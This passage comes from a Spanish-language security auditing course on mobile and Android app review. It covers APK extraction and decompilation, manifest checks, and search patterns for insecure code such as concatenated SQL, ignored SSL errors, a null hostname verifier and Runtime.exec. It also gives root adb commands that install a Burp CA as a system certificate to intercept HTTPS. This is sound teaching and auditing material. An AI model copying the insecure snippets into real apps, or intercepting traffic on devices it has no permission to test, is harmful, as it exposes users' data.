Verificar que la aplicación comprueba el certificado X.509 del servidor remoto al establecerse
la comunicación segura. Solo serán válidos aquellos certificados firmados por una CA válida.
Verificar que la aplicación no confía únicamente en canales como email o SMS, para realizar
operaciones críticas, como, por ejemplo, para la recuperación de contraseñas.

3.2.6. Pruebas de interacción con la plataforma

Esta sección asegura que la aplicación utiliza las API de la plataforma y los componentes estándar de
forma segura.

Verificar que la aplicación solo requiere un mínimo número de permisos necesarios.

Verificar que todos los parámetros de entrada que maneja el usuario son debidamente
validados y sanitizados, lo que incluye los datos recibidos en la interfaz de usuario,
mecanismos IPC, URL, y recursos de red. También se debe verificar que no se exporta
información sensible a través de los esquemas URL o mecanismos IPC, sin estar estos
mecanismos debidamente protegidos.
Verificar que se ha deshabilitado JavaScript en las WebViews, salvo que sea estrictamente
necesario.
Verificar que las WebViews han sido debidamente configuradas permitiendo únicamente el
mínimo número de protocolos (HTTPS).
Verificar que la aplicación detecta si está siendo ejecutada en un dispositivo rooteado o con
jailbreak. Dependiendo de los requerimientos del negocio, la aplicación terminará en caso de
que se esté ejecutando en un dispositivo con root o jailbreak.

3.2.7. Pruebas de calidad de código

El objetivo de estas pruebas es asegurar que se cumplen las prácticas de código seguro.

Verificar que la aplicación ha sido firmada y provisionada con un certificado válido.

Verificar que la aplicación ha sido generada en modo productivo, con la configuración
correspondiente (non-debuggable ).
Verificar que los símbolos y el código de debugging han sido eliminados de los binarios
nativos.
Verificar que la aplicación realiza un correcto manejo de las excepciones.
Verificar que han sido activadas las protecciones de pila, PIE, etc.

3.2.8. Pruebas de resiliencia

Esta sección cubre las medidas de resiliencia contra la ingeniería inversa, dificultando a los atacantes
el acceso y entendimiento del aplicativo.

202/265
 Verificar que la aplicación implementa funcionalidades para detectar si el dispositivo ha sido
rooteado o tiene jailbreak, alterando el flujo o terminando la aplicación.

Verificar que la aplicación detecta el uso de herramientas de ingeniería inversa, o herramientas de

inyección de código, frameworks de hooking o servidores de debugging.

IV. Aplicaciones móviles Android

Android es un sistema operativo basado en el núcleo de Linux diseñado originalmente para
dispositivos móviles, como smartphones y tablets, y que posteriormente expandió su desarrollo para
soportar otros dispositivos como netbooks, televisores, lectores de e-books, PCs, etc. Android fue
presentado en 2007 por la Open Handset Aliance (consorcio de compañías tecnológicas dedicado a
desarrollar estándares abiertos para dispositivos móviles), liderada por Google, como un producto Open
Source y con una licencia Apache de código libre. Google había comprado previamente el producto a sus
desarrolladores originales, AndroidInc, en 2005.

Actualmente se trata del sistema operativo más extendido en dispositivos móviles, llegando a una
cuota de mercado de alrededor del 80 %.

Por otro lado, se trata de un sistema operativo que soporta aplicaciones desarrolladas habitualmente en
Java, C o C++ a través del Android SDK (Android Software Development Kit), ofreciendo la posibilidad
de que cualquier usuario pueda desarrollar su propia aplicación y ponerla a disposición de cualquier otro
usuario de forma gratuita o de pago.

Las aplicaciones pueden ser descargadas desde la tienda oficial de Google Play, conocida actualmente
como Play Store, e instaladas automáticamente en el dispositivo en cuestión. Es preciso mencionar que,
aunque Android solo cuente con una tienda oficial, es posible instalar aplicaciones móviles en el
dispositivo de forma manual, hecho que provoca la aparición de mercados “alternativos” en los que
frecuentemente se encuentran aplicaciones maliciosas que ponen en riesgo la confidencialidad y la
integridad de los datos del usuario, así como del propio dispositivo. Algunos ejemplos de estos mercados
alternativos son “Black Market” o “F-droid”.

4.1. Tipos de análisis

A la hora de realizar una revisión de seguridad de una aplicación móvil, se deberán diferenciar dos
tipos de análisis siguiendo la metodología anteriormente explicada:

Análisis estático de la aplicación

El análisis estático consiste en analizar el comportamiento de la aplicación sin que ésta se encuentre
en ejecución, observando, a partir de la información y código fuente, cómo se comportaría la
aplicación y qué partes de código son susceptibles de ser vulnerables en función de los datos de
entrada o variaciones que sufren en tiempo de ejecución.

203/265
 Análisis dinámico de la aplicación

El análisis de vulnerabilidades dinámico se caracteriza por estudiar el comportamiento que presenta la

aplicación cuando se encuentra en ejecución. Durante esta fase se analizarán las comunicaciones
cliente-servidor, el acceso a escritura de ficheros, la interacción con diferentes componentes, etc. Para
ello, se hará uso de la información detectada en la fase de obtención de información y, especialmente,
del análisis estático.

Cabe destacar que, si se lleva a cabo un análisis estático en profundidad de la aplicación, se facilitará
su posterior proceso de análisis dinámico.

4.2. Análisis estático de la aplicación

Para llevar a cabo el análisis estático de la aplicación se deberá acceder al código fuente de la
aplicación, así como a los archivos que la conforman. Para ello, en primer lugar, se deberá obtener el
archivo que contiene la aplicación, comúnmente conocido como APK ( Android Application Package ).
Se trata de un archivo comprimido, muy similar al formato JAR de Java o ZIP, que contiene una
estructura de ficheros que se descomprimirá y replicará en el dispositivo móvil una vez el usuario haya
decidido instalar la aplicación en cuestión.

4.2.1. Obtención del APK

El primer paso será por tanto obtener el fichero .apk de la aplicación; para ello existen varios métodos:

204/265
1

Si la aplicación se encuentra instalada en el dispositivo móvil, es posible obtener el fichero APK

mediante el uso de la aplicación “APK Extractor” (https://play.google.com/store/apps/details?id=com.
ext.ui&hl=es). Esta aplicación nos permite listar las aplicaciones instaladas en el dispositivo y obtener
el archivo APK de forma sencilla, pudiendo compartirla, por ejemplo, a través de e-mail. Por otro
lado, siempre se almacenarán en el directorio
“/storage/emulated/0/ExtractedApks/(nombre_del_paquete)” del dispositivo, al que se podrá acceder
si se conecta el dispositivo móvil al ordenador mediante USB y se accede al directorio, “\\GT-
I9505\Almacenamiento interno compartido\ExtractedApks” , tal y como se puede observar en las
siguientes imágenes:

Imagen 5.3. Obtención de archivo APK mediante APKExtractor.

Fuente: captura de la herramienta APKExtractor.

205/265
 Se trata de una herramienta multiplataforma que permite la comunicación remota de un emulador o
dispositivo Android conectado. Generalmente se utiliza un dispositivo físico conectado mediante USB
con las funciones de desarrollo activadas. Para ello se deberá acceder al apartado
“Configuración>Información del teléfono” y pulsar 7 veces sobre el “ Número de Compilación” tal y
como se observa a continuación:

Imagen 5.4. Activación de las opciones de desarrollo.

Fuente: configuración de opciones de desarrollo en dispositivo móvil.

Tras realizar estos pasos, se deberá comprobar que en las “Opciones de desarrollador” se cuenta
con la opción “Depuración por USB” activada. De ser así, se deberá conectar el USB al PC y
mediante el siguiente comando se listarán los dispositivos accesibles:

Imagen 5.5. Comandos adb para conectarse al dispositivo móvil.

Fuente: captura de Kali Linux.

Como se puede observar, con el uso del comando adb shell se obtiene acceso remoto al dispositivo.

Mediante ADB es posible realizar la instalación y depuración de aplicaciones en tiempo de

ejecución. En el caso de que el archivo APK se haya obtenido a través de terceros y se desee instalar
en el dispositivo se realizará a través del siguiente comando:

Imagen 5.6. Proceso de instalación de apk mediante adb.

Fuente: captura de Kali Linux.

206/265
 A través de adb es posible obtener el archivo APK de una aplicación instalada en el dispositivo.
Las aplicaciones se encuentran instaladas en el directorio /data/app/<package_name_app>/ y cuentan
con el archivo APK. Listar directamente estos directorios requiere que el dispositivo se encuentre
rooteado. Para listar los paquetes de aplicación instalados sin permisos de root se utilizará el siguiente
comando:

pm list packages -f

En el siguiente ejemplo se puede observar el contenido del directorio donde se aprecia el archivo
APK.

Imagen 5.7. Listado de contenido del directorio de la apk.

Fuente: captura de Kali Linux.

Mediante el siguiente comando se obtendrá la APK del dispositivo en el directorio indicado:

Imagen 5.8. Proceso descarga del archivo APK de una aplicación instalada.
Fuente: captura de Kali Linux.

ADB se puede descargar desde el siguiente enlace:

https://developer.android.com/studio/releases/platform-tools#download

207/265
 3

Finalmente es posible descargar las aplicaciones desde páginas de terceros proporcionando

solamente el enlace de la aplicación en el Play Store. Las aplicaciones se descargan a un Device ID
del dispositivo donde se instalarán, por lo que estas páginas cuentan con varios Device ID de esta
forma realizarán la descarga a través de la API de Play Store sin necesidad de instalar la aplicación. A
continuación, se presentan algunos ejemplos:

https://apkpure.com/app
https://apps.evozi.com/apk-downloader/

Imagen 5.9. Obtención de APK a través de APK Downloader.

Fuente: captura de la herramienta APK Downloader.

Esta opción resulta útil si no se desea instalar la aplicación en el dispositivo.

4.2.2. Decompilación del APK

Una vez se ha obtenido el fichero APK de la aplicación, es preciso descomprimirlo para obtener los
directorios y archivos que conforman la aplicación. A continuación, se detallan varios métodos para
realizar este proceso:

Uso de la herramienta Apktool. Se trata de una herramienta multiplataforma desarrollada en

Java que permite no solo descomprimir el archivo APK sino obtener el código SMALI
comentado anteriormente. Apktool puede ser descargado a través del enlace https://ibotpeaches
.github.io/Apktool/install/ .

A continuación se puede observar como mediante el siguiente comando se obtiene los archivos de la
aplicación:

java –jar apktool_2.3.2.jar d <nombre_apk>

208/265
Imagen 5.10. Decompilación de archivo APK mediante Apktool.
Fuente: captura de Kali Linux.

Cabe mencionar que Apktool permite obtener el archivo APK a partir de los archivos que lo
conforman mediante el comando:

java –jar apktool_2.3.2.jar b <directorio_código> <nombre_apk>

4.2.3. Obtención del código fuente

Una vez se ha descomprimido los archivos de la APK se puede observar como el código fuente se
encuentra en los archivos binarios con extensión .dex conocidos como “Dalvik Executable” con
estructura similar a ASM (Assembly language ).

Llegados a este punto, mediante la herramienta dex2jar se deberá convertir el código DEX en JAR y
posteriormente decompilarlo en Java para su entendimiento. Mediante el siguiente comando se obtendrá
el JAR a partir del archivo APK:

sh d2jar-dex2jar.sh -f <nombre_app.apk>

209/265
Imagen 5.11. Obtención del código fuente en formato JAR mediante dex2jar.
Fuente: captura de Kali Linux.

La herramienta dex2jar puede descargarse a través del siguiente enlace:

https://sourceforge.net/projects/dex2jar/files/latest/download

Cabe mencionar que, debido a las limitaciones de la propia herramienta, o si se han utilizado técnicas
avanzadas de ofuscación del código fuente, se puede dificultar el proceso de ingeniería inversa. En este
caso, se deberá recurrir a más bajo nivel y examinar el código SMALI, lenguaje de ensamblador
utilizado en DEX basado en JASMIN, el código de ensamblador para la máquina virtual de Java (JVM).
Estas representaciones quedarán fuera del alcance de este apartado, pero se presentan como alternativa a
técnicas avanzadas de análisis.

Una vez se han obtenido los archivos .jar se deberá obtener el código Java, por lo que se hará uso de la
herramienta jd-gui (http://jd.benow.ca/) para su conversión. Esta herramienta ofrece una interfaz gráfica
para visualizar el código fuente y un buscador que puede resultar útil para establecer patrones de
búsqueda dentro del código fuente de la app.

JD-GUI se ejecutará mediante el comando:

java -jar jd-gui-1.4.0.jar

Posteriormente, se abrirá el archivo .jar y se mostrará el código fuente de la aplicación, tal y como se
observa a continuación:

210/265
Imagen 5.12. Visualizar el código Java mediante jd-gui.
Fuente: captura de Java Decompiler.

Imagen 5.13. Visualizar el código Java mediante jd-gui.

Fuente: captura de Java Decompiler.

Es posible que el auditor desee obtener el código Java sin necesidad de una interfaz gráfica para
realizar patrones de búsqueda por línea de comandos con el uso, por ejemplo, de la herramienta nativa
“grep”. En este caso, se podría utilizar la herramienta jd-cmd (https://github.com/kwart/jd-cmd) para su
obtención:

java -jar jd-cli.jar Droid-dex2jar.jar -od src/

El código decompilado se almacenará en el directorio indicado y podrá ser utilizado para realizar
búsquedas en todos los ficheros mediante el uso de la herramienta “grep”.

211/265
Imagen 5.14. Obtención de código java a través de jd-cli.
Fuente: captura de Kali Linux.

4.2.4. Reglas de detección y pruebas

Una vez descompilada la aplicación, se procederá a analizar su contenido. A continuación, se detallan

los archivos y directorios a analizar:

4.2.4.1. AndroidManifest.xml

Se trata del fichero XML de configuración donde se especifica toda la información que el
dispositivo precisa para poder determinar las acciones que llevará a cabo la aplicación en base a los
permisos (etiquetas XML definidas que indican las acciones permitidas por parte de la aplicación),
requisitos de software o hardware que se utilizarán durante la aplicación, la versión del sistema
operativo y los diferentes componentes que se ejecutarán en función de las notificaciones o eventos
que se produzcan en el sistema.

Puntos a revisar:

Permisos de la aplicación. En el archivo AndroidManifest.xml se definirán una serie de

permisos que permitirán a la aplicación interactuar tanto con componentes del hardware
como del software del dispositivo, véase la cámara, la tarjeta SD, el GPS, los contactos y
sms del dispositivo, archivos temporales (a veces compartidos con otras aplicaciones), etc.
Si bien es cierto que a partir de la versión de Android 6.0 se permite al usuario elegir de
forma individual qué permisos ofrece a la aplicación cuando esta se instala, es conveniente
revisar si dichos permisos son realmente necesarios.

A continuación, se detallarán algunos permisos susceptibles de ser utilizados de forma maliciosa:

212/265
Imagen 5.15. Permisos.
Fuente: elaboración propia.

Se requiere verificar si existe el atributo android:allowBackup=”false”. En caso de que no

se encuentre definido o cuente con el valor “true” se podrán realizar backups de la
aplicación mediante el siguiente comando adb:

adb backup –f <nombre_backup> <nombre_apk>

El hecho de que se puedan realizar backups de la aplicación permite a un tercero obtener una copia
de la aplicación y los datos que utiliza como por ejemplo bases de datos locales.

Se deberá revisar si existe el atributo android:debuggable=”true” lo que indicará que la

aplicación se encuentra en modo debug y cualquier persona con acceso físico al dispositivo
puede ejecutar código arbitrario en función de los permisos de esa aplicación sin necesidad
de obtener privilegios de root.

213/265
 Se deberá comprobar que los elementos “ intent-filters” que permiten la interacción entre los
diferentes componentes Activity de la aplicación cuentan con el atributo
android:exported=”false” definido. Por defecto, si no se encuentran de finidos con este
atributo, se comportarán como si el valor fuese “true” y podrán ser utilizados por otras
aplicaciones, pudiendo exponer, modificar o eliminar la información o acciones que llevan a
cabo.

4.2.4.2. Certificado digital de la aplicación

CERTIFICADO.RSA: Para poder definir un propietario de la aplicación, esta deberá firmarse con
un certificado digital que se adjuntará en la aplicación (archivo con extensión .rsa en la mayoría de los
casos o .dsa) para poder verificar su firma. Google requiere que, para poder subir una aplicación en su
repositorio de aplicaciones (market), estas se encuentren firmadas y con un certificado adjunto.

Este certificado permitirá relacionar diferentes aplicaciones con un mismo propietario, en el caso
de que este haya utilizado el mismo certificado. También se deberá tener muy en cuenta la fecha de
validez de este certificado o si se encuentra revocado.

Para obtener información sobre el certificado, se deberá descomprimir el archivo apk como si se
tratase de un ZIP (es posible que previamente se deba cambiar la extensión a .zip). A continuación, se
utilizará la herramienta keytool mediante el siguiente comando:

Keytool –printcert –file META-INF/CERT.RSA

Imagen 5.16. Visualizar información de certificado mediante keytool.

Fuente: captura de Kali Linux.

Adicionalmente, es posible que la aplicación cuente con un directorio donde almacenar los
certificados de las aplicaciones web a las que realiza consultas o envía información como una medida
de protección a ataques “Man-in-the-Middle”. Durante el análisis estático es necesario identificar si
cuenta con certificados almacenados para poder evitar este tipo de protección, la cual será explicada
en detalle a lo largo de este módulo.

4.2.4.3. Recursos de la aplicación

214/265
 En relación al resto de la aplicación, es necesario detectar si se hace uso de bases de datos locales
(archivos .db) que podrán ser consultados mediante sqlite browser. Las bases de datos suelen
encontrarse almacenadas en el directorio “/data/data/<package_name>/databases”.

Adicionalmente, es necesario identificar si la aplicación cuenta con archivos “ Shared Preferences ”

mediante los cuales se define la configuración de la aplicación en función de los datos del usuario, por
lo que pueden contener información sensible. Se trata de archivos XML almacenados en texto plano y
sin protección por defecto en el directorio “/data/data/<package name>/shared_prefs” para verificar si
cuentan con datos sensibles almacenados.

Finalmente, mediante la shell que proporciona adb, se deberá acceder a los datos de la aplicación
almacenados en el dispositivo, tanto en el directorio cache como donde se encuentre instalada la
aplicación (generalmente en /data/data/<package_name>), revisando los permisos de lectura, escritura
y ejecución de los archivos que la conforman.

NOTA: Es posible que para acceder a los directorios indicados se requieran permisos de root. En el
apartado de análisis dinámico se adjunta una guía para rootear el dispositivo Android.

4.2.4.4. Análisis de código fuente

A continuación, basándonos en la metodología explicada en el Módulo II, se presentan varios

ejemplos de análisis del código fuente con el fin de identificar patrones de búsqueda.

Credenciales en texto plano

Se deberán realizar búsquedas de usuario/contraseña, API Key o tokens de autenticación. Las

credenciales pueden estar definidas en variables tipo string, concatenadas en URL, en sentencias
SQL, etc.

Cabe mencionar que, si se encuentran escritas en comentarios, no podrán obtenerse al

decompilar la aplicación.

URL o IP expuestas en el código fuente

Recogen direcciones IP o URL que se encuentren escritas y permitan la identificación de

conexiones o recursos a los que accede la aplicación. De esta forma, es posible identificar si la
aplicación se conecta a un servidor externo no identificado para enviar información o descargar
archivos maliciosos que comprometan el dispositivo sobre el que se encuentra instalada la
aplicación.

215/265
Salidas de Logs sin validar

Es bastante común que los desarrolladores hagan uso de mensajes de control y logs de la
aplicación para analizar su comportamiento, pudiendo filtrar información sensible. A continuación,
se muestran ejemplos de este tipo de mecanismos de control:

Log.i(...+var+...) Log.w(...+var+...)

Log.e(...+var+...) Log.d(...+var+...)

Log.wtf(...+var+...) Log.v(...+var+...)

System.out.print(“STRING”+var);

Cabe mencionar que, si el Log contiene el valor de una variable concatenado en un string y
dicha variable proviene de datos introducidos por el usuario, solo podrán ser obtenidos en tiempo
de ejecución durante el análisis dinámico.

Uso de cifrados de algoritmos débiles

Es preciso revisar si la aplicación hace uso de algoritmos de cifrado débil, especialmente si estos
se utilizan para almacenar o transmitir credenciales o datos sensibles. A continuación, se muestran
varios ejemplos de métodos que se verían afectados:

DESKeySpec des = new DESKeySpec();

MessageDigest digest = java.security.MessageDigest.getInstance(MD5);

MessageDigest digest = java.security.MessageDigest.getInstance(sha-1);

Cabe destacar que es muy común que las aplicaciones móviles utilicen codificaciones en Base64
para que la información no se altere al ser enviada a través del protocolo HTTP. Una mala práctica
es utilizar la codificación Base64 sobre datos sensibles en sustitución de algoritmos de cifrado por
lo que es conveniente revisar qué datos se codifican en Base64.

Algunas de las comprobaciones podrían ser las siguientes:

import android.util.Base64;

byte[] data = text.getBytes("UTF-8");

String base64 = Base64.encodeToString(data, Base64.DEFAULT);

byte[] data = Base64.decode(base64, Base64.DEFAULT);

String text = new String(data, "UTF-8");

216/265
Permisos definidos desde el própio código de la aplicación.

Tal y como se ha expuesto anteriormente, los permisos de la aplicación quedarían definidos en el

archivo AndroidManifest.xml; no obstante, es posible invocar permisos de los ficheros de
almacenamiento mediante el objeto Context desde el propio código fuente de la aplicación. Por
tanto, es necesario revisar el código fuente en busca de la siguiente estructura:

Context cx = new Context(Context.MODE_WORLD_READABLE);

Ficheros temporales

Es conveniente revisar si la aplicación crea ficheros temporales y qué información almacena en

éstos. En primer lugar, se deberá comprobar si cuenta con el permiso para escribir en la tarjeta SD
o en el dispositivo del teléfono y, posteriormente, si hace uso de métodos de escritura, como por
ejemplo la siguiente estructura:

Manifest permission: WRITE_EXTERNAL_STORAGE

File file;

file = File.createTempFile(filename, null, this.getCacheDir());

Implementación insegura de WebView

El componente WebView se utiliza en las aplicaciones Android para cargar contenido HTML de
forma dinámica. A través de WebView la aplicación puede ser susceptible a ataques de MITM o
XSS. Es preciso mencionar que, para verificar si este componente es vulnerable, se deberá realizar
un análisis dinámico de la aplicación. A continuación, se presentan varios ejemplos:

WebView habilita JavaScript (susceptible a XSS):

WebView webView = (WebView) findViewById(R.id.webView);

webView.getSettings().setJavaScriptEnabled(true);

webView.addJavascriptInterface(interface)

WebView omite los errores SSL, por lo que, si un certificado digital deja de ser válido, la
aplicación continuará su flujo de ejecución (susceptible a MitM):

public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError

error) {

handler.proceed();

217/265
SQL Injection

Es posible detectar vectores potenciales de inyección SQL analizando el código fuente de la

aplicación. En primer lugar, se comprobará si la aplicación hace uso de librerías de gestión de
bases de datos, como por ejemplo “android.database.sqlite”. A continuación, se deberá detectar si
las consultas SQL cuentan con parámetros concatenados dentro de la instrucción y verificar si
dichos parámetros provienen directamente del usuario. Si esa sucesión de pasos se cumple, al
realizar el análisis dinámico es probable que sea vulnerable.

import android.database.sqlite;

cr = mDB.rawQuery( "SELECT * FROM sqliuser WHERE user = ’" + var + "’", null);
query = mDB.execSQL( "SELECT * FROM sqliuser WHERE user = ’" + var2 + "’",
null);

Ejecución de comandos de sistema

Las aplicaciones Android pueden ejecutar comandos del sistema sobre el dispositivo en el que se
encuentran instaladas, pudiendo acceder a información del dispositivo, imágenes, datos que
generan otras aplicaciones, etc. A continuación, se muestra un ejemplo del método utilizado para la
ejecución de comandos:

getRuntime().exec(“ls -la”);

La criticidad aumenta cuando se concatena este tipo de métodos con una variable de tipo string
que recoge los datos que introduce el usuario.

Detección de dispositivo rooteado

La detección de dispositivo rooteado por parte de una aplicación puede ser una contramedida de
seguridad mediante la cual, si una aplicación es instalada en un dispositivo rooteado, ésta no
permita su ejecución.

Por otro lado, es lógico pensar que una aplicación maliciosa pueda realizar también
comprobaciones sobre el dispositivo rooteado para obtener información de éste, interactuar con
otras aplicaciones, acceder a sus datos, etc. Por este motivo, se deberá realizar un análisis en
profundidad de las partes del código involucradas en la detección de root, analizando por ejemplo
si la aplicación hace uso de las siguientes librerías o búsquedas en el dispositivo:

import com.noshufou.android.su;

import com.thirdpary.superuser;

import eu.chainfire.supersu;

isDeviceRooted();

RootTools.isAccessGiven();

218/265
 .contains("test-keys");

/system/sd/xbin/su

/system/app/Superuser.apk

/system/bin/failsafe/su

En los próximos apartados se explicará cómo evadir la detección de dispositivo rooteado.

Aceptación de todos los certificados digitales

Con el fin de evitar errores a la hora de realizar conexiones HTTPS entre la aplicación móvil y la
aplicación web, debido a que el certificado digital no coincide con el nombre de dominio, no se
verifica el hostname del certificado. Este procedimiento se considera una mala práctica, puesto que
facilita que la aplicación móvil sea susceptible de ataques MitM. A continuación, se muestra un
ejemplo de detección de esta estructura:

import javax.net.ssl ;

private void untrust() {

HttpsURLConnection.setDefaultHostnameVerifier(NullHostnameVerifier);
}

Algoritmos inseguros de generación de números aleatorios

En referencia al uso de algoritmos de generación de números aleatorios, es conveniente revisar si

la aplicación hace uso de métodos inseguros especialmente para la generación de códigos OTP o
PIN, así como contraseñas de usuarios.

Un ejemplo de método aleatorio inseguro:

Math.random();

219/265
Obtención de datos del dispositivo

Es posible que la aplicación esté recolectando datos del dispositivo sin que el usuario sea
consciente. Entre esos datos podríamos destacar el IMEI del dispositivo donde se encuentra
instalada la aplicación o el número de la tarjeta SIM. Para ello se deberían verificar los siguientes
puntos:

import android.telephon.TelephonyManager

getSimSerialNumber();

getDeviceId();

Envío de SMS/MMS por parte de la aplicación

Es posible que la aplicación envíe SMS/MMS sin el consentimiento del usuario o bién se
encuentre mal implementado y pueda ser objeto de explotación para un envío masivo. Por este
motivo es recomendable revisar este tipo de funcionalidades. En primer lugar, se deberá revisar si
cuenta con el permiso correspondiente y si se hace uso de alguna estructura similar a las siguientes:

import android. telephony.SmsManager ;

sendTextMessage("phoneNo", null, "sms message", null, null);

sendIntent.setType("vnd.android-dir/mms-sms");

Localización activada

La aplicación puede estar consultando la geolocalización del dispositivo sin que el usuario sea
consciente. A continuación, se muestran diferentes ejemplos para localizar el dispositivo móvil:

220/265
 GPS Estación Base

import import
com.android.location; android.telephony.TelephonyManager;

getLastKnownLocation(); import
android.telephony.gsm.GsmCellLocation;

requestLocationUpdates(); getCellLocation();

getLatitude();

getLongitude()

Campos ocultos

Las aplicaciones pueden contener campos ocultos en los que se puede almacenar información
para la gestión de sesiones, por ejemplo, tokens o API-Keys, que se enviarán junto con el usuario y
la contraseña.

Por otro lado, es posible que la aplicación cuente con elementos ocultos, por ejemplo, botones,
que el usuario esté accionando sin conocimiento alguno. A continuación, se presentan algunos
métodos o atributos para revisar su funcionalidad:

setVisible(View.invisible);

android:visibility=invisible

android:background=@null

4.2.5. Herramientas y frameworks

En este apartado se presentan varias herramientas que facilitan la obtención del código fuente y
realizan un análisis estático de la aplicación de forma automática basándose en reglas similares a las
expuestas en el apartado anterior:

Mobile Security Framework (MOBSF)

Se trata de una herramienta multiplataforma desarrollada en Python que permite tanto el análisis

221/265
 Se trata de una herramienta multiplataforma desarrollada en Python que permite tanto el análisis
estático como el dinámico.

Comandos de instalación:

git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git

cd Mobile-Security-Framework-MobSF

python3 -m pip install -r requirements.txt

Para ejecutarlo se utilizará el comando “python3 manage.py runserver” que creará un servidor web
en el puerto 8000 por defecto.

Finalmente, el usuario solo deberá acceder a la URL http://127.0.0.1:8000 y subir el archivo APK
para su análisis. Una vez finalizado mostrará un panel donde se detallan las vulnerabilidades, se
permite realizar búsquedas en el código fuente de la aplicación, etc.

Imagen 5.17. Análisis estático con MobSF.

Fuente: captura de la herramienta MobSF.

222/265
 SUPER Android Analyzer

Se trata de una herramienta multiplataforma de análisis estático desarrollada en Rust. Cuenta con
unos tiempos de análisis muy cortos debido a que pretende realizar todas las fases de decompilación y
obtención del código sin dependencias externas.

Para descargarlo e instalarlo en función de la plataforma: http://superanalyzer.rocks/download.html

Para su ejecución :

super {apk_file}

La aplicación será decompilada en el directorio dist/, mientras que el informe de resultados se

generará en HTML en el directorio results/{package_name}. El informe cuenta con una opción de
visualizar el código con un snippet del código que ha detectado vulnerable tal y como se muestra a
continuación:

Imagen 5.18. Informe de análisis estático SUPER.

Fuente: captura de la herramienta SUPER Android Analyzer.

Anotación: Otras herramientas

Existen múltiples herramientas automáticas para análisis de aplicaciones Android. En el

siguiente enlace se recogen varias herramientas categorizadas por tipos de análisis y
funcionalidades:

https://mobilesecuritywiki.com/

4.3. Análisis dinámico

4.3.1. Configuración del entorno

223/265
 Para realizar un análisis dinámico de la aplicación es necesario que se configure el dispositivo o
emulador para poder interceptar el tráfico que genere la aplicación y poder así revisar las acciones y
peticiones que ésta realiza. Para ello se hará uso del proxy inverso utilizado anteriormente para las
aplicaciones web Burp Suite.

En este caso se debe diferenciar entre las versiones de Android anteriores a la 7.0 y las posteriores,
puesto que el proceso de configuración varía.

Adicionalmente, si se utiliza un dispositivo físico es posible que se requiera que este cuente con
permisos de root para ejecutar o instalar ciertos comandos adb. A continuación, se adjunta una guía para
poder rootear el dispositivo:

https://www.xda-developers.com/root/

Interceptación del tráfico en versiones de Android anteriores a 7.0

Como se ha explicado anteriormente, para interceptar el tráfico HTTPS es preciso instalar el

certificado de Burp como certificado de confianza en el dispositivo y redirigir todo el tráfico a través
a la interfaz de escucha.

Para ello, en primer lugar, se obtendrá la IP del host donde se ejecuta Burp y el puerto de escucha;
para ello se deberá seleccionar la opción de habilitar todas las interfaces de red en el proxy.

Imagen 5.19. Configuración de interfaz externa del proxy de Burp.

Fuente: captura de Burp Suite.

Posteriormente, se conectará el dispositivo a la misma red wifi que el host que ejecuta Burp y en
opciones avanzadas se configurará el proxy con la IP y el puerto, tal y como se muestra a
continuación:

224/265
Imagen 5.20. Configuración del dispositivo móvil para redirigir el tráfico al proxy de Burp.
Fuente: captura de la configuración de un dispositivo móvil con Android.

Llegados a este punto, si se accede a la url “http://bup” se podrá descargar el certificado con la
extensión “.der”, que el dispositivo no puede reconocer. Por ese motivo es necesario cambiar la
extensión a “.cer” y posteriormente instalar el certificado como se observa a continuación:

Imagen 5.21. Instalación de certificado de Burp en dispositivo Android 6.0.

Fuente: captura de un dispositivo móvil con Android.

Finalmente, si se navega a una página web con HTTPS o si una aplicación realiza conexiones a un
servidor web con HTTPS, el tráfico será redirigido e interceptado por Burp, pudiendo cambiar los
parámetros antes de ser enviados.

Interceptación del tráfico en versiones de Android posteriores a 7.0

225/265
 A partir de la versión 7.0 de Android, se ha introducido un mecanismo para evitar que las
aplicaciones consulten certificados instalados en el dispositivo por parte del usuario y dificultar de
esta forma el uso de proxies inversos para interceptar el tráfico. Por defecto, todas las aplicaciones
utilizarán únicamente certificados digitales de autoridades de certificación instalados en el
dispositivo.

De esta forma, si se desea utilizar un certificado instalado por el usuario, se deberá indicar dentro de
la propia aplicación, en el archivo AndroidManifest.xml a través del uso del atributo
“android:networkSecurityConfig” indicando la ruta al certificado digital o si se permite el uso de
certificados de usuario, tal y como se observa en el siguiente ejemplo:

<?xml version="1.0" encoding="utf-8"?>

<network-security-config>
<domain-config>

<domain includeSubdomains="true">example.com</domain>

<trust-anchors>

<certificates src="user"/>

</trust-anchors>

</domain-config>

</network-security-config>

Para realizar este proceso se deberá decompilar la aplicación, modificar AndroidManifest.xml y

volver a compilar la aplicación para su posterior instalación. Este proceso se puede llevar a cabo
mediante la herramienta Apktool , tal y como se ha explicado anteriormente. Con el fin de agilizar el
proceso y llevarlo a cabo de forma automática, se utilizará la siguiente herramienta:

https://github.com/levyitay/AddSecurityExceptionAndroid

Se ejecutará el script indicando la ruta al archivo APK. Si es la primera vez que se ejecuta y no se
cuenta con una clave de debugging en Android, se creará un par de claves RSA junto con el
correspondiente keystore para firmar la aplicación una vez se haya recompilado.

Una vez haya finalizado la ejecución del script, se creará una copia de la aplicación con el nombre
“_new.apk” que contará con el AndroidManifest.xml modificado. Llegados a este punto, solo restará
instalar la aplicación en el dispositivo tal y como se ha explicado anteriormente.

226/265
Imagen 5.22. Ejecución de script para recompilar la aplicación y que utilice certificados de usuario.
Fuente: captura de Kali Linux.
Como alternativa al proceso anterior, si a partir de Android 7.0 solo se admiten certificados digitales
instalados como autoridades de certificación, es posible instalar el certificado de Burp como tal
mediante el uso de los siguientes comandos. Es preciso indicar que se requiere privilegios de root
sobre el dispositivo.

Obteniendo el certificado de Burp como cacert.cer, se ejecutará el siguiente comando:

openssl x509 -inform PEM -subject_hash_old -in cacert.cer | head -1

En este caso se obtiene como output “9a5ba575” por lo que se renombra el certificado de la
siguiente forma:

mv cacert.cer 9a5ba575.0

A continuación, se deberá introducir el certificado en el dispositivo, por ejemplo, a través de la

tarjeta SD en el directorio “Downloads” para instalar el certificado en el dispositivo:

adb shell

su

mount –o remount,rw /system

mv /sdcard/Downloads/9a5ba575.0 /system/etc/security/cacerts

chmod 644 /system/etc/security/cacerts/9a5ba575.0

227/265
 Imagen 5.23. Instalación de certificado de Burp en dispositivo Android 7.0 (sistema).
Fuente: captura de la configuración de un dispositivo móvil con Android.

Información de ejecución con adb

Mediante adb se pueden obtener los logs de la aplicación en tiempo de ejecución. Para ello, se hace
uso de la funcionalidad logcat para observar las acciones, mensajes de depuración, llamadas internas e
información del dispositivo que se genera tras las interacciones del usuario con la aplicación. Si bien
es cierto que la velocidad y la cantidad de registros puede ser elevada, se recomienda obtener la salida
